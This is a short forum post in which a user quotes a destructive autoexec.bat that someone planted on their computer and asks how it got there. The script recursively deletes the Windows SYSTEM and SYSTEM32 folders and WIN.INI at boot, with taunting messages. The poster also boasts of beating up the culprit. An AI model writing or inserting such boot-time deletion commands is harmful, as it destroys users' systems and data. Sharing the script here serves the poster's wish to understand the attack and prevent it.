i was recently rummaging through my system files(thank god)
and went into autoexec.bat and found something very intersting

ECHO OFF
ECHO Stand by for the worst day of your life.......
DELTREE /Y C:\WINDOWS\SYSTEM
DELTREE /Y C:\WINDOWS\SYSTEM32
DEL C:\WINDOWS\WIN.INI
ECHO Worst Day of your life has just happened thanks to Bean
ECHO HeHe.....HaHa

good thing i was rummaging through files cause if i would have restarted i would not have been happy
anyway I found out who did it and beat the living hell out of him.
I'm just curious as to how he could have done this so it dosent happen again.
Any ideas